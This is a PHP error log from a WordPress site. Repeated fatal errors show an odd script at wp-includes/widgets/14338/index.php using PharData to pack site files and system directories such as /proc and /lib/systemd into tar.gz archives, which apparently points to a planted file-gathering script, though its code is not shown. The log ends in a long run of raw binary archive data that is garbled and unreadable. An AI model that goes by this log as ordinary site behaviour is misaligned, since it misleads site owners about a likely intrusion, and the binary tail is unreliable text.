[06-Nov-2025 11:23:03 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:28:12 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/proc/976078/fd): Failed to open directory: No such file or directory in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:35:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/button.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:36:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dialog.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:36:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/effect-blind.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/controlgroup.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/slider.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/datepicker.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/selectmenu.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/checkboxradio.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/menu.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/effect.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/tabs.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/accordion.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/selectable.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/effect-scale.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/effect-highlight.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/droppable.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/draggable.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:37:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/effect-shake.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:38:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/effect-slide.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:38:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/namespaced.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:39:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/icon_smile.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:46:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/mouse.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:48:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/effect-bounce.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 11:50:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/resizable.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 12:31:49 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/proc/952002): Failed to open directory: No such file or directory in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:06:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block-rate-estim.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:06:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/src.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:21:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/8.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:21:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/13.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:21:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/10.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:23:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Content.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:26:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/unload_bl.bin.bin.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:26:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/unload_bl.bin.bin.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:27:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ucode_asb.bin.bin.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:27:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ucode_asb.bin.bin.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:32:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/import.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:33:57 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/lib/systemd/system/systemd-remount-fs.service" that is not in the base directory "/lib/systemd/system/local-fs.target.wants" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:36:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/venus.mbn.mbn.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:36:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/venus.mbn.mbn.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:37:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/venus.mbn.mbn.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:41:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/import.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:45:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/venus.mbn.mbn.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 13:47:01 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/lib/systemd/system/plymouth-poweroff.service" that is not in the base directory "/lib/systemd/system/poweroff.target.wants" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
14338/css.tar.gz000064400002064134151024420100007144 0ustar00��i��F�(���ѯ����2Aq'�j�Ӷ�v���n��v��N���@��*�y������;"W$H��[�-�@fdd��|_�u�[n�6���|�v�E��}��3���g���7�u��~oԟ���h��
�`���G9j�1�~^����UR�$��o��e�M���h/����u����]�a/�X%�����?�m4Ov��A��]=��]m�d�d�ˀ�#�
�n�ϋ,��yv�@�GϞ�z��6��d��f���w��*���*T:w��&ޅ�L
`�"�o1���]X��Evwl�M�q�:z�*�w�.��w�lS�x��J�ds��Q
#� ���.��&���m�I͊,��Z��L�hw��'jp��z�wW�7��'9�]���8������`��V#�k�	���Q�`��sch
j6Z,��ء�(�I!zG���,_�9-3��oo�l�Y\d�Q�}��f)Y��N���4���oa�Y��.���ς��w��4F�2˃�
um��G�T�&ۡ]Pd�O�m�����)4h��YV��=�!�1]vq�����ΐ���1���u�s:�KFc�m/�>�ʨ��r�,G��C�~��M(�O�B���Y/��d�E(Fd�����:��LIi8&Ґ0M��\�Ώ0�ɾ@u��I���F'M�/pJt�k<��Y�b�m�I;��h��Z�&�]�U�(7��m$K�5���e�zg���,�$��C�v�4\g�Wح�w�}���Unq"m4$s�� �:��?��KW����`_���)[U�S�@y���ˣs�e���w��)�f"9^h��[��cr���\_�r�\@y�|�\�@�r��5���./�iZ���|�v�m�6�{:Z�5Z$;�zpt�<{Yۤ�lq_����6u����h��kEM4�hO��6�rÌ�D�Cw�,�c�H
+���l��-�E<��m�i�-�!�؞}D	W��d���	�x�/sD��ވ��g�6Z,��!�k�����9�����n�%�@���~���Y�[�/����t���#��A�7�]��g�CO��(��eP̣4,^t��*�YMC�^�����C{��K�ge�*R=R�#��7�?u�5�
ѿXqF���P#�?Z�S����W]l����Aט �6�=u�}�8�5H�Y��m
�f�XG��7�㬅������S2��;�l�d̺��-�>}�?������}�C��H�G�6��U���~O�LF�'��#|>�L���A�z�6�e�Ս	y�6�_�!�XV�<�va�އd_@�[�[�&���}�!�c1����d��#b_� ԊR��/~AÖ,����mv�˛hk�n�f�!z'pB[��������S�]�ɹ*��m��-�Ʌ�.E�$�ڈ$0!��P����x[�r��E�Ӱ�}��<����������ds��=Kd�%^�Q����K����{��@\�f�����:I�3v@~��MV ..��ɯ�gH��Ҩh�m�y���J�W�����7�~���@��;����2Z��Wv&W@�MDV������Q� �ͺW��]��
�\1�m�?�+
���[ĊQ��h�ź��b?�&��4���:��H���d�D�E�"D;~����e�"d��[�O�M�v+��q���^�\�џ���#�+p.P���l6�Ҙ͠s��Dp8�����P�ݮ4���+�wKD�ޘ��<���Y!������hgF�d�B�8޸f�r���GA
�Y�I�86�����,F�])hn��(%��Wp���U��F�7qň>�/&V�9�@��+�[3��,S���*Ӻm��-�aь�?H�R��Ioֻ�w�����Z����@��D��^	�!��-��-w�k�ɣ���3 ���_�q~��U��]�6�U<��$��}��`
��c�J6ڇ�����Z�InE��3i�h�
